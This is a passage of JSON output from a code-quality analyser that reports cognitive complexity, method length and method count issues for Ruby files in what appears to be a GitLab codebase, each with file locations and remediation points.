refactoring.","fingerprint":"c31d398a0e65e6ad5bf772ffbe612d27","location":{"path":"rubocop/cop/line_break_around_conditional_block.rb","lines":{"begin":50,"end":58}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `autocorrect` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6790fd3dafb4732df58459faaaee4a86","location":{"path":"rubocop/cop/line_break_around_conditional_block.rb","lines":{"begin":60,"end":71}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"83f3ce0952418f2d18756e7f01d3f37e","location":{"path":"rubocop/cop/project_path_helper.rb","lines":{"begin":10,"end":21}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"rubocop/cop/project_path_helper.rb","lines":{"begin":18,"end":18}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"16132947f8a9d308be379b39b9a5d3e6"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `perform` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"00f629cf63f892026e01afc3ea1f7651","location":{"path":"qa/qa/scenario/test/sanity/selectors.rb","lines":{"begin":10,"end":49}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `configure!` has 44 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"024a3eec035772b027f91725d6217728","location":{"path":"qa/qa/runtime/browser.rb","lines":{"begin":34,"end":100}},"other_locations":[],"remediation_points":1056000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b5bc236abe446161666817def77f8ddf","location":{"path":"qa/qa/specs/runner.rb","lines":{"begin":16,"end":34}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fabricate!` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d6f04a78d84c195424103bc166feb302","location":{"path":"qa/qa/factory/repository/push.rb","lines":{"begin":33,"end":75}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `fabricate!` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0619d32fe486fa8cd5d32a978dbba114","location":{"path":"qa/qa/factory/repository/push.rb","lines":{"begin":33,"end":75}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fabricate!` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3806fbbd18c151ecd8c0b6a777c6eafd","location":{"path":"qa/qa/factory/resource/kubernetes_cluster.rb","lines":{"begin":16,"end":55}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `fabricate!` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9a68225ad27f7d73dc48ba5138c97cc4","location":{"path":"qa/qa/factory/resource/kubernetes_cluster.rb","lines":{"begin":16,"end":55}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fabricate!` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"455a528019b993508c00252ac2356d13","location":{"path":"qa/qa/factory/resource/branch.rb","lines":{"begin":19,"end":73}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `fabricate!` has 40 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8c20ae555f1495416940ef8126556a4b","location":{"path":"qa/qa/factory/resource/branch.rb","lines":{"begin":19,"end":73}},"other_locations":[],"remediation_points":960000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sign_in_using_credentials` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cf2fda789a392298297395e24cd69833","location":{"path":"qa/qa/page/main/login.rb","lines":{"begin":43,"end":60}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `expand_section` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"403c8764d8456908ed9eeef4e0044633","location":{"path":"qa/qa/page/settings/common.rb","lines":{"begin":8,"end":19}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Repository` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"1f47da27b9c8ebadc35daab5ecdfacbd","location":{"path":"qa/qa/git/repository.rb","lines":{"begin":7,"end":126}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Base` has 36 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"e990b96533b4c82f0e6c7290f79ea42e","location":{"path":"lib/declarative_policy/base.rb","lines":{"begin":2,"end":330}},"other_locations":[],"remediation_points":2800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"lib/declarative_policy/condition.rb","lines":{"begin":72,"end":72}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"453a21507c9d4e6b09338d4ea74a2cb6"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `run` has a Cognitive Complexity of 29 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9109da1712e5180769d6dee88e01ab4b","location":{"path":"lib/declarative_policy/runner.rb","lines":{"begin":76,"end":108}},"other_locations":[],"remediation_points":2550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `steps_by_score` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c728761c8bd550bb676d5ac29cc54f2c","location":{"path":"lib/declarative_policy/runner.rb","lines":{"begin":130,"end":179}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `steps_by_score` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"fda7518f9492e598aeaa14084a16fcad","location":{"path":"lib/declarative_policy/runner.rb","lines":{"begin":130,"end":179}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `flattened` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"938e199f4acb9d23e67b122acf7df125","location":{"path":"lib/declarative_policy/step.rb","lines":{"begin":51,"end":76}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e8ff80c1013b45a887d5b05aebda0a6d","location":{"path":"lib/mattermost/session.rb","lines":{"begin":100,"end":112}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Session` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"b6bc576e4f2b4e33eeb24fbd9a4756e0","location":{"path":"lib/mattermost/session.rb","lines":{"begin":23,"end":185}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `from_params` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8708d87b45e03dda5cf801ba3c8b4ae8","location":{"path":"lib/uploaded_file.rb","lines":{"begin":31,"end":50}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `object_link_commit` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4d75625eef2a0bac64c81e6a99b470c7","location":{"path":"lib/banzai/filter/merge_request_reference_filter.rb","lines":{"begin":66,"end":77}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e4a7914b17bf2c4568c886ae0510580a","location":{"path":"lib/banzai/filter/issuable_state_filter.rb","lines":{"begin":13,"end":29}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c21517ccaabda5807f34857c92c02c20","location":{"path":"lib/banzai/filter/emoji_filter.rb","lines":{"begin":11,"end":26}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5b2ff3f6e59ccd27a3e8df6e92792289","location":{"path":"lib/banzai/filter/gollum_tags_filter.rb","lines":{"begin":64,"end":87}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_relative_path` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1fc007ca58af10483040ad6c3acafc7b","location":{"path":"lib/banzai/filter/relative_link_filter.rb","lines":{"begin":124,"end":140}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0d11bc0fb07cb93de54e50ca187a470c","location":{"path":"lib/banzai/filter/inline_diff_filter.rb","lines":{"begin":8,"end":20}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"229de514760543ff1eae907b8931ae4a","location":{"path":"lib/banzai/filter/spaced_link_filter.rb","lines":{"begin":44,"end":60}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 28 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f2adb2780e68c3edecbf3243959331bc","location":{"path":"lib/banzai/filter/abstract_reference_filter.rb","lines":{"begin":99,"end":148}},"other_locations":[],"remediation_points":2450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `object_link_filter` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"756d39528c96fdea1b53fc02cd2f1b54","location":{"path":"lib/banzai/filter/abstract_reference_filter.rb","lines":{"begin":161,"end":204}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `AbstractReferenceFilter` has 31 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"bf8591fc0f7db3df80a7dd6204670584","location":{"path":"lib/banzai/filter/abstract_reference_filter.rb","lines":{"begin":7,"end":359}},"other_locations":[],"remediation_points":2300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `call` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"158c3e7c7c151f7461c460b58c8eb7fb","location":{"path":"lib/banzai/filter/abstract_reference_filter.rb","lines":{"begin":99,"end":148}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `object_link_filter` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cce139d64bf42a05629c35156d98c24b","location":{"path":"lib/banzai/filter/abstract_reference_filter.rb","lines":{"begin":161,"end":204}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f009def1da08a1c0910203aacb888646","location":{"path":"lib/banzai/filter/external_issue_reference_filter.rb","lines":{"begin":30,"end":55}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method 